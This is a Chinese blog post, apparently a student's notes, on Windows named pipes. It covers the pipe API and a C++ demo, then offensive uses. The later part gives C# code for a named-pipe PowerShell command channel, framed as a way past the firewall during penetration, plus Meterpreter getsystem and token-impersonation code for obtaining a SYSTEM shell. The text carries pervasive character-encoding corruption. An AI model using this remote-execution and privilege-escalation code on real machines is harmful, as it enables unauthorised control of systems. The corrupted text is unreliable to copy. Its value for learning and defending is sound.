您好,登錄后才能下訂單哦!
windows安全初探之命名管道,相信很多沒有經(jīng)驗的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。
最近學(xué)校開了操作系統(tǒng)這門課,記錄自己學(xué)習(xí)命名管道中與網(wǎng)絡(luò)安全有關(guān)的內(nèi)容。
關(guān)于命名管道:
“命名管道”又名“命名管線”(Named Pipes),是一種簡單的進(jìn)程間通信(IPC)機(jī)制,Microsoft Windows大都提供了對它的支持(但不包括Windows CE)。命名管道可在同一臺計算機(jī)的不同進(jìn)程之間或在跨越一個網(wǎng)絡(luò)的不同計算機(jī)的不同進(jìn)程之間,支持可靠的、單向或雙向的數(shù)據(jù)通信。推薦用命名管道作為進(jìn)程通信方案的一項重要的原因是它們充分利用了Windows內(nèi)建的安全特性(ACL等)。
用命名管道來設(shè)計跨計算機(jī)應(yīng)用程序?qū)嶋H非常簡單,并不需要事先深入掌握底層網(wǎng)絡(luò)傳送協(xié)議(如TCP、UDP、IP、IPX)的知識。這是由于命名管道利用了微軟網(wǎng)絡(luò)提供者(MSNP)重定向器通過同一個網(wǎng)絡(luò)在各進(jìn)程間建立通信,這樣一來,應(yīng)用程序便不必關(guān)心網(wǎng)絡(luò)協(xié)議的細(xì)節(jié)。
命名管道是一個具有名稱,可以單向或雙面在一個服務(wù)器和一個或多個客戶端之間進(jìn)行通訊的管道。命名管道的所有實例擁有相同的名稱,但是每個實例都有其自己的緩沖區(qū)和句柄,用來為不同客戶端通許提供獨立的管道。使用實例可使多個管道客戶端同時使用相同的命名管道。
命名管道的名稱在本系統(tǒng)中是唯一的。
命名管道可以被任意符合權(quán)限要求的進(jìn)程訪問。
命名管道只能在本地創(chuàng)建。
命名管道的客戶端可以是本地進(jìn)程(本地訪問:\.\pipe\PipeName)或者是遠(yuǎn)程進(jìn)程(訪問遠(yuǎn)程:\ServerName\pipe\PipeName)。
命名管道使用比匿名管道靈活,服務(wù)端、客戶端可以是任意進(jìn)程,匿名管道一般情況下用于父子進(jìn)程通訊。
列出計算機(jī)內(nèi)所有的命名管道:
在powershell3以上的版本中,我們可以使用
[System.IO.Directory]::GetFiles("\\.\\pipe\\")
來查看本機(jī)上所有的存在的命名管道,或者使用process explorer來進(jìn)行查看
命名管道的創(chuàng)建及通信
在windows中命名管道的通信方式是:
①創(chuàng)建命名管道?。?gt; ②連接命名管道 --> ③讀寫命名管道
詳細(xì)過程如下:
命名管道通過調(diào)用函數(shù)CreateNamedPipe()創(chuàng)建,函數(shù)原型如下:
HANDLE WINAPI CreateNamedPipe( _In_ LPCTSTR lpName, _In_ DWORD dwOpenMode, _In_ DWORD dwPipeMode, _In_ DWORD nMaxInstances, _In_ DWORD nOutBufferSize, _In_ DWORD nInBufferSize, _In_ DWORD nDefaultTimeOut, _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes );
詳細(xì)參數(shù)可以參考:https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea
創(chuàng)建完成后服務(wù)端可以調(diào)用函數(shù)ConnectNamedPipe()等待客戶端的連接請求,函數(shù)原型如下:
BOOL WINAPI ConnectNamedPipe( _In_ HANDLE hNamedPipe, _Inout_opt_ LPOVERLAPPED lpOverlapped );
詳細(xì)參數(shù)可以參考:https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe
對于客戶端而言,在連接服務(wù)器創(chuàng)建的命名管道前需要判斷該命名管道是否可用,可調(diào)用函數(shù)WaitNamedPipe()實現(xiàn)
函數(shù)原型如下:
BOOL WaitNamedPipeA( LPCSTR lpNamedPipeName, DWORD nTimeOut );
詳細(xì)參數(shù)可以參考:https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-waitnamedpipea
當(dāng)WaitNamedPipe()調(diào)用成功后,便可使用CreateFile()將命名管道打開已獲得管道的句柄。
然后客戶端對命名管道的讀寫操作利用函數(shù)ReadFile()和WriteFile()完成,函數(shù)原型如下:
BOOL WriteFile( HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped ); BOOL ReadFile( HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped );
具體參數(shù)可以參考:
WriteFile function (fileapi.h) - Win32 apps
ReadFile function (fileapi.h) - Win32 apps
demo:
下面是一個命名管道通信的小demo:
服務(wù)端:
#include<Windows.h> #include<iostream> #define BUF_SIZE 1024 using namespace std; int main(int argc,char * argv[]) { HANDLE h_pipe; char rev_buf[BUF_SIZE]; DWORD rel_buf; h_pipe = CreateNamedPipe( "\\\\.\\pipe\\pipename", PIPE_ACCESS_INBOUND, PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, BUF_SIZE, BUF_SIZE, 0, nullptr ); if (h_pipe == INVALID_HANDLE_VALUE) { cout<<"NamedPipe Create fail!!!"<<GetLastError()<<endl; system("pause"); return 1; } else { cout<<"NamedPipe Create Successful !!!"<<endl; } if (ConnectNamedPipe(h_pipe,nullptr)) { cout<<"NamedPipe Connected !!!"<<endl; memset(rev_buf,0,BUF_SIZE); if (ReadFile(h_pipe, rev_buf, BUF_SIZE, &rel_buf, nullptr)) { cout<<"Revecve Data Successful !!!"<<rev_buf<<endl; } else { cout << "Revecve Data Fail !!!" << GetLastError() << endl; CloseHandle(h_pipe); system("pause"); return 1; } } CloseHandle(h_pipe); return 0; }
客戶端:
#include<Windows.h> #include<iostream> #define BUF_SIZE 1024 using namespace std; int main(int argv,char * argc[]) { HANDLE h_pipe; char buf_msg[] = "Test for named pipe..."; DWORD num_rcv; //實際接收到的字節(jié)數(shù) cout << "Try to connect named pipe...\n"; if (WaitNamedPipe("\\\\.\\pipe\\pipename", NMPWAIT_WAIT_FOREVER)) { //打開指定命名管道 h_pipe = CreateFile("\\\\.\\pipe\\pipename", GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); if (h_pipe == INVALID_HANDLE_VALUE) { cerr << "Failed to open the appointed named pipe!Error code: " << GetLastError() << "\n"; system("pause"); return 1; } else { if (WriteFile(h_pipe, buf_msg, BUF_SIZE, &num_rcv, nullptr)) { cout << "Message sent successfully...\n"; } else { cerr << "Failed to send message!Error code: " << GetLastError() << "\n"; CloseHandle(h_pipe); system("pause"); return 1; } } CloseHandle(h_pipe); } system("pause"); return 0; }
效果如下:
PS:實現(xiàn)長鏈接的話記得開新線程哦。
實際利用
繞過防火墻:
那么這個東西有什么用呢?我們在滲透的過程中經(jīng)常會看到下面這種情況:
在 Windows 中,當(dāng)嘗試使用 Bind() 綁定一個 TCP Socket 時,Defender 會彈窗提示是否允許此程序進(jìn)行網(wǎng)絡(luò)連接,只有用戶點擊允許訪問才可放行。我們可以利用添加防火墻規(guī)則的辦法來繞過這個限制,但是,如果你不是administrator權(quán)限,也就GG了,這個時候我們還有另外的辦法就是利用命名管道,命名管道網(wǎng)絡(luò)通信使用了未加密的SMB協(xié)議(端口445)或DCE\RPC(端口135)。在 Windows 中,通常默認(rèn)允許 SMB 協(xié)議 出入站,因此,如果有什么功能或機(jī)制可以用于與外部機(jī)器進(jìn)行通信的,SMB 協(xié)議 無疑是一種很好的選擇。所以我們可以基于命名管道與外部機(jī)器進(jìn)行通信,從而建立控制通道。
這里就直接拿rocll大佬的代碼過來了:
private static void WaitData() { // 創(chuàng)建一個運行空間 Runspace runspace = null; runspace = RunspaceFactory.CreateRunspace(); runspace.ApartmentState = System.Threading.ApartmentState.STA; runspace.Open(); while(true) { using (var pipeServer = new NamedPipeServerStream( "testpipe", PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message)) { Console.WriteLine("[*] Waiting for client connection..."); pipeServer.WaitForConnection(); Console.WriteLine("[*] Client connected."); while (true) { var messageBytes = ReadMessage(pipeServer); var line = Encoding.Default.GetString(messageBytes); Console.WriteLine("[*] Received: {0}", line); if (line.ToLower() == "exit") { return; } // 參考:https://decoder.cloud/2017/11/02/we-dont-need-powershell-exe/ try { Pipeline PsPipe = runspace.CreatePipeline(); PsPipe.Commands.AddScript(line); PsPipe.Commands.Add("Out-String"); Collection<PSObject> results = PsPipe.Invoke(); StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject obj in results) { stringBuilder.AppendLine(obj.ToString()); } var response = Encoding.Default.GetBytes(stringBuilder.ToString()); try { pipeServer.Write(response, 0, response.Length); } catch { Console.WriteLine("[!] Pipe is broken!"); break; } } catch (Exception e){} } } } } private static void SendData(string ServerName) { Console.WriteLine("[+] Connecting to " + ServerName); using (var pipeClient = new NamedPipeClientStream(ServerName, "testpipe", PipeDirection.InOut)) { pipeClient.Connect(5000); pipeClient.ReadMode = PipeTransmissionMode.Message; Console.WriteLine("[+] Connection established succesfully."); do { Console.Write("csexec> "); var input = Console.ReadLine(); if (String.IsNullOrEmpty(input)) continue; byte[] bytes = Encoding.Default.GetBytes(input); pipeClient.Write(bytes, 0, bytes.Length); if (input.ToLower() == "exit") return; var result = ReadMessage(pipeClient); Console.WriteLine(); Console.WriteLine(Encoding.Default.GetString(result)); } while (true); } }
模擬令牌:
這也是命名管道中常見的一種方法,一般可以用來提權(quán)操作,我們cobaltstrike中的getsystem也就是這個原理,官方給出的內(nèi)容為:
Technique 1 creates a named pipe from Meterpreter. It also creates and runs a service that runs cmd.exe /c echo “some data” >\\.\pipe\[random pipe here]. When the spawned cmd.exe connects to Meterpreter’s named pipe, Meterpreter has the opportunity to impersonate that security context. Impersonation of clients is a named pipes feature. The context of the service is SYSTEM, so when you impersonate it, you become SYSTEM.
大體意思也就是說,msf會創(chuàng)建一個命名管道,然后創(chuàng)建一個服務(wù)去運行cmd.exe /c echo “some data” >\\.\pipe\[random pipe here],當(dāng)cmd連接到Meterpreter的明明管道的時候,因為服務(wù)是system權(quán)限,msf也就得到了一個system的shell。
Windows提供了這樣的API,ImpersonateNamedPipeClient API調(diào)用是getsystem模塊功能的關(guān)鍵。
ImpersonateNamedPipeClient允許命名管道模擬客戶端的服務(wù)器端。調(diào)用此函數(shù)時,命名管道文件系統(tǒng)會更改調(diào)用進(jìn)程的線程,以開始模擬從管道讀取的最后一條消息的安全內(nèi)容。只有管道的服務(wù)器端可以調(diào)用此函數(shù)。
在msf的meterpreter/source/extensions/stdapi/server/sys/process/process.c文件中,你可以看到它做了以下操作,派生令牌獲取shell:
if (ImpersonateNamedPipeClient(namedPipe) == 0) { printf("[!] Error impersonating client\n"); return 0; } if (!CreateProcessAsUserA(newtoken, NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { printf("[!] CreateProcessAsUser failed (%d), trying another method.\n", GetLastError()); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); // Sometimes we fail above (as shown at meterpreter/source/extensions/stdapi/server/sys/process/process.c) if (!CreateProcessWithTokenW(newtoken, LOGON_NETCREDENTIALS_ONLY, NULL, L"cmd.exe", NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) { printf("[!] CreateProcessWithToken failed (%d).\n", GetLastError()); return 0; } }
然后我們就可以使用下面的辦法模擬令牌獲取一個system的shell:
HANDLE threadToken = NULL, duplicatedToken = NULL; OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, &threadToken); DuplicateTokenEx(threadToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &duplicatedToken); err = GetLastError(); CreateProcessWithTokenW(duplicatedToken, 0, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
一些細(xì)節(jié):
為了防止濫用模仿機(jī)制,Windows不允許服務(wù)器在沒有得到客戶同意的情況下執(zhí)行模仿??蛻暨M(jìn)程在連接到服務(wù)器的時候可以指定一個SQOS(security quality of service),以此限制服務(wù)器進(jìn)程可以執(zhí)行的模擬等級。通過C++代碼訪問命名管道一般采用CreateFile函數(shù),可以通過指定SECURITYANONYMOUS、SECURITYIDENTIFICATION、SECURITYIMPERSONATION、SECURITYDELEGATION作為標(biāo)記。 默認(rèn)調(diào)用CreateFile函數(shù)訪問命名管道時采用的權(quán)限就是IMPERSONATION級別,只能用于模擬本地權(quán)限,無法應(yīng)用域遠(yuǎn)程訪問。其中權(quán)限最高的級別為DELEGATION,當(dāng)客戶端模擬級別設(shè)置為此級別時,服務(wù)端可以任意模擬客戶端權(quán)限,包括本地和遠(yuǎn)程。
看完上述內(nèi)容,你們掌握windows安全初探之命名管道的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。